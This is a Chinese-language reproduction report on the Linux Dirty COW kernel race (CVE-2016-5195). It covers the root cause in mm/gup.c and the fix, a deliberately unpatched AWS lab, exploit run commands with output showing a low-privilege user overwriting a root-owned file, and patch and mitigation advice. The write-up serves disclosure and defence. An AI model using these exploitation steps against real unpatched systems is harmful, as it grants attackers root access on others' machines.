跳转至

CVE-2016-5195 — Dirty COW:非特权用户写入只读 root 文件

发布于 2026-06-04

已验证漏洞利用

非特权本地用户可在运行 Linux kernel 2.6.22 至 4.8.2 的系统上覆写任意只读内存映射文件(包括 /etc/passwd 和 SUID 二进制),从而完成提权至 root。

字段
项目 Linux kernel
受影响组件 torvalds/linux — 内存管理(mm/gup.c
严重级别 HIGH
CVSS 7.8(CVSS v3.1)
CWE CWE-362 — 竞争条件
受影响版本 2.6.22(2007 年)至 4.8.2
修复版本 4.8.3(2016 年 10 月);稳定分支回移补丁:3.2.82、3.4.112、3.10.103、3.12.65、3.16.37、3.18.43、4.1.34、4.4.25、4.7.8
影响 本地权限提升至 root

1. 漏洞概述

Linux 内核内存管理子系统的 get_user_pages(GUP)路径(mm/gup.c 中负责将用户空间虚拟地址解析为物理页帧的代码)存在竞争条件。非特权本地用户可利用该竞争将任意字节写入任何内存映射文件的页缓存,即使该文件对该用户是只读的。实际效果是:系统上的任何文件(配置文件、SUID 可执行文件、内核模块)都可以在无合法写权限的情况下被静默覆写。该漏洞于 2016 年 10 月公开披露,被称为"Dirty COW",迅速遭到在野利用,已收录于 CISA 已知被利用漏洞目录,并通过 GHSA-j68w-7qm9-fjqq(CVSS 7.8)进行追踪。

根本原因

文件: mm/gup.c,函数 follow_page_pte 以及故障重试循环(faultin_page / __get_user_pages)。

内核对私有写时复制(COW)映射的写操作分两步处理。在第一次故障时,若设置了 FOLL_WRITEfaultin_page 会调用 do_cow_fault,后者分配一个新页并将其标记为脏页,但保持 PTE 为只读。在第二次故障时,do_wp_page 检测到 COW 已完成并返回 VM_FAULT_WRITE。此时,有漏洞的内核会无条件地去掉写要求标志:

/* Before (vulnerable): */
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
    *flags &= ~FOLL_WRITE;   // drops write requirement — race window opens

清除该标志后,GUP 循环重新进入 cond_resched()。如果此时另一个并发线程对该映射区域调用 madvise(MADV_DONTNEED),内核会丢弃 COW'd 页,VMA 映射恢复为原始只读页缓存页。第三次故障加载该原始页缓存页后,通过 /proc/self/mem 发起的写操作直接写入页缓存——完全绕过写时复制,在无写权限的情况下修改了磁盘上的文件。

修复方案引入了新标志 FOLL_COW(0x4000),将清除标志的操作改为添加标志:

/* After (fixed): */
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
    *flags |= FOLL_COW;      // marks that COW has happened, keeps write intent

新增辅助函数 can_follow_write_pte 确保,FOLL_FORCE + FOLL_COW 组合只有在页面同时满足 COW'd 和 dirty 条件时才允许跟随写 PTE:

static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
{
    return pte_write(pte) ||
        ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
}

follow_page_pte 中的检查从 !pte_write(pte) 更新为 !can_follow_write_pte(pte, flags)。当 madvise(MADV_DONTNEED) 从磁盘重新加载一个干净页面时,pte_dirty 返回 false,页面跟随被拒绝,竞争窗口由此关闭。

2. 漏洞复现环境

该环境为单台 AWS EC2 实例,特意启动在未打补丁的内核 4.4.0-21-generic(包版本 4.4.0-21.37)上。基于容器的方式无法复现此漏洞,原因是容器共享宿主机内核;必须使用运行旧内核的真实虚拟机。

技术栈详情:

  • 实例类型: c4.xlarge — Xen HVM,非 Nitro,4 个 vCPU 跨 2 个物理核心。两个物理核心是必要条件:竞争要求两个线程同时运行在不同核心上。初次使用 c4.large(1 个物理核心,2 个 SMT 超线程兄弟)测试时,竞争在 5 次尝试中从未成功;c4.xlarge 的 2 个物理核心(thread_siblings_list0,21,3)在第一次尝试时即赢得竞争。
  • 基础 AMI: Canonical Ubuntu 16.04 xenial(ami-03df7ce447aba3556,ap-southeast-1)。
  • 内核安装: 精确的 4.4.0-21-generic 包通过 .deb URL 直接从 archive.ubuntu.com 获取,并使用 dpkg -i 安装,以避免包管理器解析到已打补丁的版本。GRUB 通过显式子菜单条目 Advanced options for Ubuntu>Ubuntu, with Linux 4.4.0-21-generic 固定为该漏洞内核启动。
  • 运行时补丁禁用: 未安装 Canonical Livepatch;未附加 Ubuntu Pro。
  • ptrace_scope 通过 /etc/sysctl.d/10-cve-ptrace.conf 持久设置为 0,允许 /proc/self/mem 写路径。
  • 目标文件: /opt/cve/target — 归属 root:root,权限 0404(全局可读,除 root 外不可写)。cve-baseline.service 在每次启动时向其写入新的随机标记,因此任何观察到的变化都确实来自竞争写入,而非预先植入的值。
  • 非特权参与者: lowpriv(uid 1001,gid 1001,无 sudo,密码已锁定)。
  • IaC: OpenTofu on AWS(ap-southeast-1,profile cve-lab)。费用:约 $0.234/小时(c4.xlarge 按需定价 + 20 GB gp2 卷)。

IaC 及支撑文件可供下载:env.zip。主要个别文件:

确认环境为有漏洞版本。 配置完成后,以下冒烟测试可验证内核、并行性和目标文件状态:

cd env/tofu
export AWS_PROFILE=cve-lab
IP=$(tofu output -raw public_ip); KEY=$(tofu output -raw ssh_private_key_path)
ssh -o StrictHostKeyChecking=accept-new -i "$KEY" ubuntu@"$IP" '
  echo "== ready sentinel =="; sudo cat /opt/cve/READY 2>/dev/null || { echo NOT-READY; sudo cat /opt/cve/SUBSTRATE_FAILED 2>/dev/null; exit 1; }
  echo "== kernel ==";  uname -r
  echo "== vcpus ==";   nproc
  echo "== target ==";  stat -c "%n %U:%G %a" /opt/cve/target
  echo "== control =="; stat -c "%n %U:%G %a" /opt/cve/control-probe
  echo "== baseline exists (root channel, no value printed) =="; sudo test -s /opt/cve/target && echo BASELINE-PRESENT
  echo "== probe compiled =="; test -x /opt/cve/cowprobe && echo PROBE-READY
  echo "== ptrace_scope =="; cat /proc/sys/kernel/yama/ptrace_scope
  echo "== actor =="; id lowpriv
'

预期输出:打印 READYuname -r4.4.0-21-genericnproc4,目标文件和控制文件权限为 root:root 404BASELINE-PRESENTPROBE-READYptrace_scope0lowpriv uid 为 1001。

3. 漏洞利用过程

该漏洞利用通过两个线程进行竞争:一个线程对目标文件的私有只读映射在紧密循环中调用 madvise(MADV_DONTNEED),另一个线程打开 /proc/self/mem 并向映射地址写入攻击者载荷。当调度器在恰当时机交错执行这两个线程时,内核将写操作落到页缓存而非私有 COW 副本上。

漏洞利用脚本和 PoC C 源码可供下载:exploit.zip。个别文件:

步骤 1 — 验证用户身份及写权限缺失

运行漏洞利用前,先确认 lowpriv 无法写入目标文件:

ssh -i ./env/tofu/lab_ssh_key.pem -o StrictHostKeyChecking=no ubuntu@13.212.231.145 \
  -t "sudo -n -u lowpriv bash -lc 'head -c 16 /opt/cve/target; echo; (echo X > /opt/cve/target) 2>&1; gcc --version | head -1'"

预期输出:打印目标文件的前 16 个字节,然后是 Permission denied(证明 lowpriv 无法写入),最后是一行 gcc 版本信息。

步骤 2 — 通过特权通道读取基线(执行前)

漏洞利用运行前,通过 root 通道读取目标文件的当前内容,以便将利用后的变化归因于该竞争:

ssh -i ./env/tofu/lab_ssh_key.pem -o StrictHostKeyChecking=no ubuntu@13.212.231.145 \
  'sudo head -c 25 /opt/cve/target; echo'

步骤 3 — 运行漏洞利用

入口脚本将 exploit/dirtyc0w.c 复制到目标主机,以 lowpriv 身份用 gcc -O2 -pthread 编译,然后运行多轮竞争,直到载荷写入成功或超过尝试预算:

bash exploit/run.sh ./env/tofu/lab_ssh_key.pem 13.212.231.145 /opt/cve/target DIRTYCOW-PWNED-BY-LOWPRIV 110 8

参数说明:SSH 密钥、主机 IP、目标路径、攻击者载荷字符串、每轮时间预算(秒)、最大轮数。

PoC 在目标主机上以 lowpriv 身份执行以下步骤: 1. 将 exploit/dirtyc0w.c 复制到 /home/lowpriv/dirtyc0w.c。 2. 编译:gcc -O2 -pthread dirtyc0w.c -o dirtyc0w。 3. 每轮运行:./dirtyc0w /opt/cve/target DIRTYCOW-PWNED-BY-LOWPRIV <budget>,该二进制文件对 madvise(MADV_DONTNEED)/proc/self/mem 写操作进行竞争,自行轮询文件,并在字节翻转时以退出码 0 退出。

步骤 4 — 通过独立特权重新读取确认成功

真正的成功证明是通过 root 级别对磁盘文件进行独立重新读取,而非漏洞利用自身的输出:

ssh -i ./env/tofu/lab_ssh_key.pem -o StrictHostKeyChecking=no ubuntu@13.212.231.145 \
  'sudo head -c 25 /opt/cve/target; echo'

本次运行的证据

漏洞利用在最多 8 轮中的第 1 轮即获成功。漏洞利用的标准输出为:

[orchestrator] target=/opt/cve/target payload='DIRTYCOW-PWNED-BY-LOWPRIV' per=110s rounds=8
BUILD_OK
[orchestrator] === round 1/8 ===
[*] target=/opt/cve/target size=67 payload_len=25 budget=110s threads=4m/4w
[*] mmap 0x7f98054a8000
[+] COW-WON: target first bytes overwritten with payload
[orchestrator] COW race SUCCEEDED on round 1
unpriv-read:DIRTYCOW-PWNED-BY-LOWPRIV
run.sh exit: 0

独立的 root 级重新读取确认:

$ sudo head -c 25 /opt/cve/target  =>  DIRTYCOW-PWNED-BY-LOWPRIV
post-sha256 = b62f3a039106642fb346f47100abf0c290a507c57062d0d4692addeb47b7e1d7
od -c (full 67 bytes):
  D I R T Y C O W - P W N E D - B Y - L O W P R I V e 1 e 3 5 4 b ...   (baseline tail intact)
perms after = -r-----r-- 1 root root 67  (0404, unchanged — no legitimate write path used)

整个过程中文件权限始终保持 0404,漏洞利用从未获得写权限。前 25 个字节从启动时生成的新鲜基线(DIRTYCOW-BASELINE-edf42c1,SHA-256 e5e4dc5d...)变为攻击者载荷(DIRTYCOW-PWNED-BY-LOWPRIV,SHA-256 b62f3a03...),随机基线的尾部字节保持完整——符合 COW 页缓存覆写路径的预期行为。

另外,还通过独立的参考探测程序(cowprobe,启动时编译的独立 Dirty COW 竞争器)以 lowpriv 身份对单独管理的控制文件 /opt/cve/control-probe 进行了测试,以确认此宿主机上 Dirty COW 代码路径处于活跃状态:

control-probe before = DIRTYCOW-CONTR...        (fresh un-won baseline after reboot)
$ sudo -n -u lowpriv /opt/cve/cowprobe /opt/cve/control-probe COWCONTROL-WON
POSITIVE-CONTROL-WON   (exit 0)
control-probe after (independent privileged re-read) = COWCONTROL-WON

该探测程序在另一个独立文件上成功,确认未打补丁的 mm/gup.c TOCTOU 代码路径处于活跃状态,排除了漏洞利用因无关原因成功的可能性。

环境清理

完成后销毁 EC2 实例及所有关联的 AWS 资源:

cd env/tofu
export AWS_PROFILE=cve-lab
tofu destroy -auto-approve
rm -f env/tofu/lab_ssh_key.pem   # if any local remnant remains

这将终止实例、移除安全组、删除临时密钥对。

4. 安全建议

修复方案

升级至 Linux kernel 4.8.3,或包含 FOLL_COW 修复的任一稳定分支回移版本:3.2.82、3.4.112、3.10.103、3.12.65、3.16.37、3.18.43、4.1.34、4.4.25、4.7.8。Debian、Ubuntu、RHEL/CentOS、SUSE、Fedora 均已于 2016 年 10–11 月发布安全更新。权威补丁为 torvalds/linux 中的提交 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

通过发行版包管理器应用内核安全更新:

# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade linux-image-generic

# RHEL / CentOS
sudo yum update kernel

更新后重启以加载已打补丁的内核。

缓解措施与临时方案

无法立即升级内核时:

  • 限制 /proc/self/mem 写操作。 部分发行版和内核配置已限制该路径。将 kernel.yama.ptrace_scope 设置为 1 或更高(/proc/sys/kernel/yama/ptrace_scope)可阻断基于 ptrace 的变体,但不能完全消除 /proc/self/mem 写路径。
  • Grsecurity / PaX 内核 若已部署,可对 GUP 路径进行加固并阻断此类漏洞利用。
  • SELinux 和 AppArmor 策略 可限制进程以写模式打开 /proc/self/mem,降低受限应用程序的可利用性,但对非受限用户无保护效果。
  • 运行时补丁服务(Canonical Livepatch、Red Hat kpatch、SUSE kGraft)在披露后不久即更新以覆盖 CVE-2016-5195,在支持订阅下允许无需重启地应用修复。

参考资料